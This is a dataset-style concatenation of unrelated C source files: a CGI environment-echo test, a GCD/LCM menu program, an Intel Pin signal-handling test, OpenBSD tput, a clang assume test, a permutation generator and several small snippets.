printf("<P>CONTENT_LENGTH=%s</P>\r\n", safeGetenv("CONTENT_LENGTH"));
printf("<P>CONTENT_TYPE=%s</P>\r\n", safeGetenv("CONTENT_TYPE"));
printf("<P>DOCUMENT_ROOT=%s</P>\r\n", safeGetenv("DOCUMENT_ROOT"));
printf("<P>GATEWAY_INTERFACE=%s</P>\r\n", safeGetenv("GATEWAY_INTERFACE"));
printf("<P>HTTP_ACCEPT=%s</P>\r\n", safeGetenv("HTTP_ACCEPT"));
printf("<P>HTTP_CONNECTION=%s</P>\r\n", safeGetenv("HTTP_CONNECTION"));
printf("<P>HTTP_HOST=%s</P>\r\n", safeGetenv("HTTP_HOST"));
printf("<P>HTTP_USER_AGENT=%s</P>\r\n", safeGetenv("HTTP_USER_AGENT"));
printf("<P>PATH_INFO=%s</P>\r\n", safeGetenv("PATH_INFO"));
printf("<P>PATH_TRANSLATED=%s</P>\r\n", safeGetenv("PATH_TRANSLATED"));
printf("<P>QUERY_STRING=%s</P>\r\n", safeGetenv("QUERY_STRING"));
printf("<P>REMOTE_ADDR=%s</P>\r\n", safeGetenv("REMOTE_ADDR"));
printf("<P>REQUEST_METHOD=%s</P>\r\n", safeGetenv("REQUEST_METHOD"));
printf("<P>REQUEST_URI=%s</P>\r\n", safeGetenv("REQUEST_URI"));
printf("<P>REMOTE_USER=%s</P>\r\n", safeGetenv("REMOTE_USER"));
printf("<P>SCRIPT_NAME=%s</P>\r\n", safeGetenv("SCRIPT_NAME"));
printf("<P>SCRIPT_FILENAME=%s</P>\r\n", safeGetenv("SCRIPT_FILENAME"));
printf("<P>SERVER_ADDR=%s</P>\r\n", safeGetenv("SERVER_ADDR"));
printf("<P>SERVER_NAME=%s</P>\r\n", safeGetenv("SERVER_NAME"));
printf("<P>SERVER_PORT=%s</P>\r\n", safeGetenv("SERVER_PORT"));
printf("<P>SERVER_PROTOCOL=%s</P>\r\n", safeGetenv("SERVER_PROTOCOL"));
printf("<P>SERVER_SOFTWARE=%s</P>\r\n", safeGetenv("SERVER_SOFTWARE"));
#if !VXWORKS
/*
This is not supported on VxWorks as you can't get "envp" in main()
*/
printf("\r\n<H2>All Defined Environment Variables</H2>\r\n");
if (envp) {
char *p;
int i;
for (i = 0, p = envp[0]; envp[i]; i++) {
p = envp[i];
printf("<P>%s</P>\r\n", p);
}
}
#endif
printf("\r\n");
}
static void printQuery()
{
int i;
if (numQueryKeys == 0) {
printf("<H2>No Query String Found</H2>\r\n");
} else {
printf("<H2>Decoded Query String Variables</H2>\r\n");
for (i = 0; i < (numQueryKeys * 2); i += 2) {
if (queryKeys[i+1] == 0) {
printf("<p>QVAR %s=</p>\r\n", queryKeys[i]);
} else {
printf("<p>QVAR %s=%s</p>\r\n", queryKeys[i], queryKeys[i+1]);
}
}
}
printf("\r\n");
}
static void printPost(char *buf, size_t len)
{
int i;
if (numPostKeys) {
printf("<H2>Decoded Post Variables</H2>\r\n");
for (i = 0; i < (numPostKeys * 2); i += 2) {
printf("<p>PVAR %s=%s</p>\r\n", postKeys[i], postKeys[i+1]);
}
} else if (buf) {
if (len < (50 * 1000)) {
printf("<H2>Post Data %d bytes found (data below)</H2>\r\n", (int) len);
fflush(stdout);
if (write(1, buf, (int) len) != len) {}
} else {
printf("<H2>Post Data %d bytes found</H2>\r\n", (int) len);
}
} else {
printf("<H2>No Post Data Found</H2>\r\n");
}
printf("\r\n");
}
static int getQueryString(char **buf, size_t *buflen)
{
*buflen = 0;
*buf = 0;
if (getenv("QUERY_STRING") == 0) {
*buf = "";
*buflen = 0;
} else {
*buf = getenv("QUERY_STRING");
*buflen = (int) strlen(*buf);
}
return 0;
}
static int getPostData(char **bufp, size_t *lenp)
{
char *contentLength, *buf;
ssize_t bufsize, bytes, size, limit, len;
if ((contentLength = getenv("CONTENT_LENGTH")) != 0) {
size = atoi(contentLength);
limit = size;
} else {
size = 4096;
limit = INT_MAX;
}
if ((buf = malloc(size + 1)) == 0) {
error("Cannot allocate memory to read post data");
return -1;
}
bufsize = size + 1;
len = 0;
while (len < limit) {
if ((len + size + 1) > bufsize) {
if ((buf = realloc(buf, len + size + 1)) == 0) {
error("Cannot allocate memory to read post data");
return -1;
}
bufsize = len + size + 1;
}
bytes = read(0, &buf[len], (int) size);
if (bytes < 0) {
error("Cannot read CGI input error=%d, len %d, %d", (int) errno, (int) len, (int) limit);
return -1;
} else if (bytes == 0) {
/* EOF */
#if UNUSED
/*
If using multipart-mime, the CONTENT_LENGTH won't match the length of the data actually received
*/
if (contentLength && len != limit) {
error("Missing content data (Content-Length: %s)", contentLength ? contentLength : "unspecified");
}
#endif
break;
}
len += bytes;
}
buf[len] = 0;
*lenp = len;
*bufp = buf;
return 0;
}
static int getVars(char ***cgiKeys, char *buf, size_t buflen)
{
char **keyList, *eq, *cp, *pp, *newbuf;
int i, keyCount;
if (buflen > 0) {
if ((newbuf = malloc(buflen + 1)) == 0) {
error("Can't allocate memory");
return 0;
}
strncpy(newbuf, buf, buflen);
newbuf[buflen] = '\0';
buf = newbuf;
}
/*
Change all plus signs back to spaces
*/
keyCount = (buflen > 0) ? 1 : 0;
for (cp = buf; cp < &buf[buflen]; cp++) {
if (*cp == '+') {
*cp = ' ';
} else if (*cp == '&') {
keyCount++;
}
}
if (keyCount == 0) {
return 0;
}
/*
Crack the input into name/value pairs
*/
keyList = malloc((keyCount * 2) * sizeof(char**));
i = 0;
for (pp = strtok(buf, "&"); pp; pp = strtok(0, "&")) {
if ((eq = strchr(pp, '=')) != 0) {
*eq++ = '\0';
descape(pp);
descape(eq);
} else {
descape(pp);
}
if (i < (keyCount * 2)) {
keyList[i++] = pp;
keyList[i++] = eq;
}
}
*cgiKeys = keyList;
return keyCount;
}
static char hex2Char(char *s)
{
char c;
if (*s >= 'A') {
c = toupper(*s & 0xFF) - 'A' + 10;
} else {
c = *s - '0';
}
s++;
if (*s >= 'A') {
c = (c * 16) + (toupper(*s & 0xFF) - 'A') + 10;
} else {
c = (c * 16) + (toupper(*s & 0xFF) - '0');
}
return c;
}
static void descape(char *src)
{
char *dest;
dest = src;
while (*src) {
if (*src == '%') {
*dest++ = hex2Char(++src) ;
src += 2;
} else {
*dest++ = *src++;
}
}
*dest = '\0';
}
static char *safeGetenv(char *key)
{
char *cp;
cp = getenv(key);
if (cp == 0) {
return "";
}
return cp;
}
void error(char *fmt, ...)
{
va_list args;
char buf[4096];
if (responseMsg == 0) {
va_start(args, fmt);
vsprintf(buf, fmt, args);
responseStatus = 400;
responseMsg = strdup(buf);
va_end(args);
}
hasError++;
}
#if VXWORKS
/*
VxWorks link resolution
*/
int _cleanup() {
return 0;
}
int _exit() {
return 0;
}
#endif /* VXWORKS */
/*
@copy default
Copyright (c) Embedthis Software LLC, 2003-2014. All Rights Reserved.
This software is distributed under commercial and open source licenses.
You may use the Embedthis Open Source license or you may acquire a
commercial license from Embedthis Software. You agree to be fully bound
by the terms of either license. Consult the LICENSE.md distributed with
this software for full details and other copyrights.
Local variables:
tab-width: 4
c-basic-offset: 4
End:
vim: sw=4 ts=4 expandtab
*/
|
the_stack_data/61782.c | #define idx(Im, i, j) \
*(Im->Data + (i) *Im->Cols + (j))
void flip(struct Image* in, struct Image* out) {
} |
the_stack_data/126703421.c | #include <stdio.h>
#include <stdlib.h>
void le_mdc(int *a, int *b)
{
do
{
printf("\nDigite dois inteiros 'a' e 'b', onde 'b' > 0:\n");
printf("\t-> a: ");
scanf("%i", a);
getchar();
printf("\t-> b: ");
scanf("%i", b);
getchar();
system("clear");
} while (b <= 0);
}
void le_mmc(int *a, int *b)
{
do
{
printf("\nDigite dois inteiros não-negativos 'a' e 'b':\n");
printf("\t-> a: ");
scanf("%i", a);
getchar();
printf("\t-> b: ");
scanf("%i", b);
getchar();
system("clear");
} while (a < 0 || b < 0);
}
int mdc(int a, int b)
{
return (a % b > 0) ? mdc(b, a % b) : b;
}
int mmc(int a, int b)
{
return (a == 0 || b == 0) ? 0 : (a*b) / mdc(a,b);
}
int main()
{
int a, b, escolha;
do
{
do
{
printf("\n\t(1) MDC\n");
printf("\t(2) MMC\n");
printf("\t(3) Sair\n");
printf("\tDigite sua escolha: ");
scanf("%i", &escolha);
getchar();
system("clear");
} while (escolha != 1 && escolha != 2 && escolha != 3);
if (escolha == 3) return 0;
if (escolha == 1)
{
le_mdc(&a, &b);
printf("\nMDC(%i,%i) = %i\n\n", a, b, mdc(a,b));
}
else if (escolha == 2)
{
le_mmc(&a, &b);
printf("\nMMC(%i,%i) = %i\n\n", a, b, mmc(a,b));
}
printf("\nPressione ENTER para continuar: ");
getchar();
system("clear");
} while (escolha != 3);
return 0;
} |
the_stack_data/1038559.c | // Copyright (c) 2015 RV-Match Team. All Rights Reserved.
int main(void){
float x = 5;
float* p = (float*)&x;
*p;
}
|
the_stack_data/207752.c | int b[3], c, d;
int i,j;
void main()
{
++b[i];
++c;
d = ++b[j];
d = ++c;
print("b 2 0 0");
printid(b);
print("c 2");
printid(c);
print("d 2");
printid(d);
}
|
the_stack_data/974112.c | /*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2014 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
/*
* This test verifies that the application can block SEGV without interfering with Pin's
* ability to catch its own internally-generated SEGV's. This application causes Pin to
* speculatively fetch instructions from a page that is unreadable, which generates an
* internal SEGV in Pin. The test will only pass if Pin can handle that SEGV despite the
* fact that the application has blocked it.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/mman.h>
#include <unistd.h>
#ifndef MAP_ANONYMOUS
#ifdef MAP_ANON
#define MAP_ANONYMOUS MAP_ANON
#endif
#endif
/*
* We write this bit of machine code at the very end of a page, where the next page is unreadable.
* We then call to "Entry" and expect it to return back. This code snippet is constructed in
* such a way that Pin will speculatively fetch beyond the final JNE and attempt to fetch from
* the unreadable page.
*/
const unsigned char Code[] =
{
0xc3, /* L1: ret */
0x66, 0x83, 0xfc, 0x00, /* Entry: cmp $0x0,%sp */
0x75, 0xf9 /* jne L1 */
};
const size_t EntryOffset = 1; /* Offset of 'Entry' from start of 'Code' */
static void BlockSegv();
int main (int argc, char ** argv)
{
size_t pageSize;
char *twoPages;
/*
* Map a page of memory and ensure that the subsequent page is unreadable.
*/
pageSize = getpagesize();
twoPages = mmap(0, 2*pageSize, (PROT_READ|PROT_WRITE|PROT_EXEC), (MAP_PRIVATE|MAP_ANONYMOUS), -1, 0);
if (twoPages == MAP_FAILED)
{
printf("Unable to map pages\n");
return 1;
}
printf("Mapped two pages at %p\n", twoPages);
printf("Unprotecting page at %p\n", twoPages+pageSize);
if (mprotect(twoPages+pageSize, pageSize, PROT_NONE) != 0)
{
printf("Unable to unprotect second page\n");
return 1;
}
/*
* Copy the "Code" to the end of the page.
*/
memcpy(twoPages + pageSize - sizeof(Code), Code, sizeof(Code));
/*
* Block SEGV and then try to call the code snippet. Pin will try to
* fetch from the unreadable page, which raises SEGV. We want to make
* sure that the this doesn't cause a problem in Pin even though the
* application has SEGV blocked.
*/
BlockSegv();
((void (*)())(&twoPages[pageSize - sizeof(Code) + EntryOffset]))();
printf("Got back OK\n");
return 0;
}
static void BlockSegv()
{
sigset_t ss;
sigemptyset(&ss);
sigaddset(&ss, SIGSEGV);
if (sigprocmask(SIG_BLOCK, &ss, 0) != 0)
{
printf("Unable to block SEGV\n");
exit(1);
}
}
|
the_stack_data/101871.c | long
xor(dqn, dq)
long dqn, dq;
{
long dqs, dqns, un;
dqs = (dq >> 15);
dqns = (dqn >> 10);
un = (dqs ^ dqns);
return(un);
}
|
the_stack_data/154830756.c | int main() {
return 100;
} |
the_stack_data/211080592.c | /*
mkfnttab.c
*/
#include <stdio.h>
#define FONT_SPC (6)
#define FONT_LEN (FONT_SPC * FONT_SPC * 128/8)
//#define VIEW
char buffer[FONT_LEN];
static void draw_char(char chr) {
char *src = &buffer[chr*6/8];
int i,j,pb, left=100, right=0;
for(j=0;j<FONT_SPC;j++) {
pb=(chr*FONT_SPC)%8;
for(i=0;i<FONT_SPC;i++) {
if(src[(i+pb)/8] & (0x01<<((i+pb)%8))) {
#ifdef VIEW
putchar('*');
#endif
if(left>i) left=i;
if(right<i) right=i;
}
#ifdef VIEW
else
putchar('.');
#endif
}
#ifdef VIEW
putchar('\n');
#endif
src+=96;
}
if((left != 0)&&(left != 100))
fprintf(stderr, "left offset of char %d != 0 (%d)\n",
(int)chr&0xff, left);
#ifdef VIEW
printf("Left: %d, Right: %d, Width: %d\n", left, right, right+1-left);
#else
if(left == 100) putchar(0);
else putchar( (left<<4) | (right+1-left));
#endif
}
main(int argc, char **argv) {
FILE *fnt;
int i;
if((fnt = fopen(argv[1], "rb")) == NULL) {
perror("fopen");
return 1;
}
if(fread(buffer, 1l, FONT_LEN, fnt) != FONT_LEN) {
fprintf(stderr, "font read error\n");
return 1;
}
#ifdef VIEW
draw_char('M');
draw_char('i');
draw_char('l');
draw_char('c');
draw_char('h');
draw_char(0);
draw_char(1);
draw_char(5);
#else
for(i=0;i<128;i++)
draw_char(i);
#endif
fclose(fnt);
return 0;
}
|
the_stack_data/93887402.c | #include <stdio.h>
int main()
{
int n, reversedNumber = 0, remainder;
printf("Enter an integer: ");
scanf("%d", &n);
while(n != 0)
{
remainder = n%10;
reversedNumber = reversedNumber*10 + remainder;
n /= 10;
}
printf("Reversed Number = %d", reversedNumber);
return 0;
} |
the_stack_data/30842.c | /* --- File task_depend_omp.c --- */
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
int N = 8;
int x[N][N], y[N][N];
int i, j;
/* Initialize x,y */
for (i = 0; i < N; i++)
{
x[0][i] = x[i][0] = y[0][i] = y[i][0] = i;
}
/* Serial computation */
for (i = 1; i < N; i++)
{
for (j = 1; j < N; j++)
x[i][j] = x[i - 1][j] + x[i][j - 1];
}
/* Parallel computation */
#pragma omp parallel
#pragma omp single
for (i = 1; i < N; i++)
{
for (j = 1; j < N; j++)
#pragma omp task depend(out:y)
y[i][j] = y[i - 1][j] + y[i][j - 1];
}
printf("Serial result:\n");
for (i = 0; i < N; i++)
{
for (j = 0; j < N; j++)
printf("%6d", x[i][j]);
printf("\n");
}
printf("Parallel result:\n");
for (i = 0; i < N; i++)
{
for (j = 0; j < N; j++)
printf("%6d", y[i][j]);
printf("\n");
}
}
|
the_stack_data/151439.c | /*
gcc -std=c17 -lc -lm -pthread -o ../_build/c/program_at_quick_exit.exe ./c/program_at_quick_exit.c && (cd ../_build/c/;./program_at_quick_exit.exe)
https://en.cppreference.com/w/c/program/at_quick_exit
*/
#include <stdlib.h>
#include <stdio.h>
void f1(void)
{
puts("pushed first");
fflush(stdout);
}
void f2(void)
{
puts("pushed second");
}
int main(void)
{
at_quick_exit(f1);
at_quick_exit(f2);
quick_exit(0);
}
|
the_stack_data/59188.c | /* SPRINTF.C: This program uses sprintf to format various
* data and place them in the string named buffer.
*/
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
void main( void )
{
char buffer[200], s[] = "computer", c = 'l';
int i = 35, j;
float fp = 1.7320534f;
/* Format and print various data: */
j = sprintf( buffer, "\tString: %s\n", s );
j += sprintf( buffer + j, "\tCharacter: %c\n", c );
j += sprintf( buffer + j, "\tInteger: %d\n", i );
j += sprintf( buffer + j, "\tReal: %f\n", fp );
printf( "Output:\n%s\ncharacter count = %d\n", buffer, j );
}
/*Output
Output:
String: computer
Character: l
Integer: 35
Real: 1.732053
character count = 71
*/ |
the_stack_data/530653.c | /* $OpenBSD: tput.c,v 1.22 2015/11/16 03:03:28 deraadt Exp $ */
/*
* Copyright (c) 1999 Todd C. Miller <[email protected]>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/*-
* Copyright (c) 1980, 1988, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <ctype.h>
#include <err.h>
#include <curses.h>
#include <term.h>
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#include <limits.h>
#include <string.h>
#define MAXIMUM(a, b) (((a) > (b)) ? (a) : (b))
#include <sys/wait.h>
static void init(void);
static char **process(char *, char *, char **);
static void reset(void);
static void set_margins(void);
static void usage(void);
extern char *__progname;
int
main(int argc, char *argv[])
{
int ch, exitval, n, Sflag;
size_t len;
char *p, *term, *str;
char **oargv;
if (pledge("stdio rpath wpath tty", NULL) == -1)
err(1, "pledge");
oargv = argv;
term = NULL;
Sflag = exitval = 0;
while ((ch = getopt(argc, argv, "ST:")) != -1)
switch(ch) {
case 'T':
term = optarg;
break;
case 'S':
Sflag = 1;
break;
case '?':
default:
usage();
}
argc -= optind;
argv += optind;
if (Sflag && argc > 0)
usage();
if (!term && !(term = getenv("TERM")))
errx(2, "No value for $TERM and no -T specified");
/*
* NOTE: tgetent() will call setupterm() and set ospeed for us
* (this is ncurses-specific behavior)
*/
if (tgetent(NULL, term) != 1)
errx(3, "Unknown terminal type `%s'", term);
if (strcmp(__progname, "clear") == 0) {
if (Sflag)
usage();
argv = oargv;
*argv = __progname;
*(argv+1) = NULL;
}
if (Sflag) {
char **av;
/* Build new argv based on stdin */
argc = n = 0;
av = NULL;
while ((str = fgetln(stdin, &len)) != NULL) {
if (str[len-1] != '\n')
errx(1, "premature EOF");
str[len-1] = '\0';
while ((p = strsep(&str, " \t")) != NULL) {
/* grow av as needed */
if (argc + 1 >= n) {
n += 64;
av = reallocarray(av, n,
sizeof(char *));
if (av == NULL)
errx(1, "out of memory");
}
if (*p != '\0' &&
(av[argc++] = strdup(p)) == NULL)
errx(1, "out of memory");
}
}
if (argc > 0) {
av[argc] = NULL;
argv = av;
}
}
while ((p = *argv++)) {
switch (*p) {
case 'i':
if (!strcmp(p, "init")) {
init();
continue;
}
break;
case 'l':
if (!strcmp(p, "longname")) {
puts(longname());
continue;
}
break;
case 'r':
if (!strcmp(p, "reset")) {
reset();
continue;
}
break;
}
/* First try as terminfo */
if ((str = tigetstr(p)) && str != (char *)-1)
argv = process(p, str, argv);
else if ((n = tigetnum(p)) != -2)
(void)printf("%d\n", n);
else if ((n = tigetflag(p)) != -1)
exitval = !n;
/* Then fall back on termcap */
else if ((str = tgetstr(p, NULL)))
argv = process(p, str, argv);
else if ((n = tgetnum(p)) != -1)
(void)printf("%d\n", n);
else if ((exitval = tgetflag(p)) != 0)
exitval = !exitval;
else {
warnx("Unknown terminfo capability `%s'", p);
exitval = 4;
}
}
exit(exitval);
}
static char **
process(char *cap, char *str, char **argv)
{
char *cp, *s, *nargv[9];
int arg_need, popcount, i;
/* Count how many values we need for this capability. */
for (cp = str, arg_need = popcount = 0; *cp != '\0'; cp++) {
if (*cp == '%') {
switch (*++cp) {
case '%':
cp++;
break;
case 'i':
if (popcount < 2)
popcount = 2;
break;
case 'p':
cp++;
if (isdigit((unsigned char)cp[1]) &&
popcount < cp[1] - '0')
popcount = cp[1] - '0';
break;
case 'd':
case 's':
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
case '.':
case '+':
arg_need++;
break;
default:
break;
}
}
}
arg_need = MAXIMUM(arg_need, popcount);
if (arg_need > 9)
errx(2, "too many arguments (%d) for capability `%s'",
arg_need, cap);
for (i = 0; i < arg_need; i++) {
long l;
if (argv[i] == NULL)
errx(2, "not enough arguments (%d) for capability `%s'",
arg_need, cap);
/* convert ascii representation of numbers to longs */
if (isdigit((unsigned char)argv[i][0])
&& (l = strtol(argv[i], &cp, 10)) >= 0
&& l < LONG_MAX && *cp == '\0')
nargv[i] = (char *)l;
else
nargv[i] = argv[i];
}
s = tparm(str, nargv[0], nargv[1], nargv[2], nargv[3],
nargv[4], nargv[5], nargv[6], nargv[7], nargv[8]);
putp(s);
fflush(stdout);
return (argv + arg_need);
}
static void
init(void)
{
FILE *ifile;
size_t len;
char *buf;
int wstatus;
if (init_prog && !issetugid()) {
switch (vfork()) {
case -1:
err(4, "vfork");
break;
case 0:
/* child */
execl(init_prog, init_prog, (char *)NULL);
_exit(127);
break;
default:
wait(&wstatus);
/* parent */
break;
}
}
if (init_1string)
putp(init_1string);
if (init_2string)
putp(init_2string);
set_margins();
/* always use 8 space tabs */
if (init_tabs != 8 && clear_all_tabs && set_tab) {
int i;
putp(clear_all_tabs);
for (i = 0; i < (columns - 1) / 8; i++) {
if (parm_right_cursor)
putp(tparm(parm_right_cursor, 8));
else
fputs(" ", stdout);
putp(set_tab);
}
}
if (init_file && !issetugid() && (ifile = fopen(init_file, "r"))) {
while ((buf = fgetln(ifile, &len)) != NULL) {
if (buf[len-1] != '\n')
errx(1, "premature EOF reading %s", init_file);
buf[len-1] = '\0';
putp(buf);
}
fclose(ifile);
}
if (init_3string)
putp(init_3string);
fflush(stdout);
}
static void
reset(void)
{
FILE *rfile;
size_t len;
char *buf;
if (reset_1string)
putp(reset_1string);
if (reset_2string)
putp(reset_2string);
set_margins();
if (reset_file && !issetugid() && (rfile = fopen(reset_file, "r"))) {
while ((buf = fgetln(rfile, &len)) != NULL) {
if (buf[len-1] != '\n')
errx(1, "premature EOF reading %s", reset_file);
buf[len-1] = '\0';
putp(buf);
}
fclose(rfile);
}
if (reset_3string)
putp(reset_3string);
fflush(stdout);
}
static void
set_margins(void)
{
/*
* Four possibilities:
* 1) we have set_lr_margin and can set things with one call
* 2) we have set_{left,right}_margin_parm, use two calls
* 3) we have set_{left,right}_margin, set based on position
* 4) none of the above, leave things the way they are
*/
if (set_lr_margin) {
putp(tparm(set_lr_margin, 0, columns - 1));
} else if (set_left_margin_parm && set_right_margin_parm) {
putp(tparm(set_left_margin_parm, 0));
putp(tparm(set_right_margin_parm, columns - 1));
} else if (set_left_margin && set_right_margin && clear_margins) {
putp(clear_margins);
/* go to column 0 and set the left margin */
putp(carriage_return ? carriage_return : "\r");
putp(set_left_margin);
/* go to last column and set the right margin */
if (parm_right_cursor)
putp(tparm(parm_right_cursor, columns - 1));
else
printf("%*s", columns - 1, " ");
putp(set_right_margin);
putp(carriage_return ? carriage_return : "\r");
}
fflush(stdout);
}
static void
usage(void)
{
if (strcmp(__progname, "clear") == 0)
(void)fprintf(stderr, "usage: %s [-T term]\n", __progname);
else
(void)fprintf(stderr,
"usage: %s [-T term] attribute [attribute-args] ...\n"
" %s [-T term] -S\n", __progname, __progname);
exit(1);
}
|
the_stack_data/58200.c | // RUN: %clang_cc1 -triple i386-mingw32 -fms-extensions -fsyntax-only -verify %s
// RUN: %clang_cc1 -triple x86_64-unknown-unknown -fsyntax-only -verify %s
int nonconst(void);
int isconst(void) __attribute__((const));
int ispure(int) __attribute__((pure));
int foo(int *a, int i) {
#ifdef _MSC_VER
__assume(i != 4);
__assume(++i > 2); //expected-warning {{the argument to '__assume' has side effects that will be discarded}}
__assume(nonconst() > 2); //expected-warning {{the argument to '__assume' has side effects that will be discarded}}
__assume(isconst() > 2);
__assume(ispure(i) > 2);
__assume(ispure(++i) > 2); //expected-warning {{the argument to '__assume' has side effects that will be discarded}}
int test = sizeof(struct{char qq[(__assume(i != 5), 7)];});
#else
__builtin_assume(i != 4);
__builtin_assume(++i > 2); //expected-warning {{the argument to '__builtin_assume' has side effects that will be discarded}}
__builtin_assume(nonconst() > 2); //expected-warning {{the argument to '__builtin_assume' has side effects that will be discarded}}
__builtin_assume(isconst() > 2);
__builtin_assume(ispure(i) > 2);
__builtin_assume(ispure(++i) > 2); //expected-warning {{the argument to '__builtin_assume' has side effects that will be discarded}}
int test = sizeof(struct{char qq[(__builtin_assume(i != 5), 7)];});
#endif
return a[i];
}
|
the_stack_data/125141050.c | /*******************************************************************************
* This file is part of the "Data structures and algorithms" course. FMI 2018/19
*******************************************************************************/
/**
* @file permutations.c
* @author Ivan Filipov
* @date 10.2018
* @brief An example for generating all permutations of a given set of numbers.
*
* @see https://en.wikipedia.org/wiki/Permutation
*/
#include <stdio.h> // printf(), putchar()
#include <stdbool.h> // bool type
//@{
/** definitions for used and unused numbers */
#define USED true
#define UNUSED false
//@}
/// the power of the set to permute
#define MAXN 4
/// the set we are permuting
int given[MAXN] = { 3, 11, 23, 7};
/// buffer for generating the current permutation
int cur_perm[MAXN];
/// markers for used in current permutation
bool used[MAXN] = { UNUSED, };
/// outputs the current permutation
void print_perm() {
for (int i = 0; i < MAXN; i++)
printf("%d ", cur_perm[i]);
putchar('\n');
}
/**
* @brief Generates permutations recursively.
* @param[in] i: element on which index we are permuting
*
* The following algorithm is implemented:
* Place each possible element on the first position, then
* permute the other n - 1 elements on the other positions, using
* the same strategy.
*/
void perm(int i) {
if (i >= MAXN) {
// the bottom of the recursion,
// when the last element is placed
print_perm();
return;
}
for (int k = 0; k < MAXN; k++) {
// trying to use the k-th element of the set
if (used[k] == UNUSED) {
used[k] = USED; // marking it as used
cur_perm[i] = given[k]; // saving it's value
perm(i + 1); // generating the n-1 permutation
used[k] = UNUSED; // unmarking after coming back form the recursion call
}
}
}
int main() {
/* run the algorithm stating from the element on index 0*/
perm(0);
return 0;
}
|
the_stack_data/14094.c | /*
* This file is subject to the terms and conditions of the GNU General Public
* License. See the file "COPYING" in the main directory of this archive
* for more details.
*
* Copyright (C) 2013 Cavium, Inc.
*/
#include <linux/kernel.h>
#include <linux/virtio_console.h>
#include <linux/kvm_para.h>
#include <asm/setup.h>
/*
* Emit one character to the boot console.
*/
void prom_putchar(char c)
{
kvm_hypercall3(KVM_HC_MIPS_CONSOLE_OUTPUT, 0 /* port 0 */,
(unsigned long)&c, 1 /* len == 1 */);
}
#ifdef CONFIG_VIRTIO_CONSOLE
static int paravirt_put_chars(u32 vtermno, const char *buf, int count)
{
kvm_hypercall3(KVM_HC_MIPS_CONSOLE_OUTPUT, vtermno,
(unsigned long)buf, count);
return count;
}
static int __init paravirt_cons_init(void)
{
virtio_cons_early_init(paravirt_put_chars);
return 0;
}
core_initcall(paravirt_cons_init);
#endif
|
the_stack_data/192331343.c | /*
* Copyright (c) 2013 - Facebook.
* All rights reserved.
*/
#include<stdio.h>
struct { int a; int b; } *x;
union {
int e;
int f;
struct { int w; int u;} g;
int h;
} y;
int main() {
int l;
x->a=1;
y.f =7;
y.g.u=y.f;
y.g.w = x->b;
return 0;
}
|
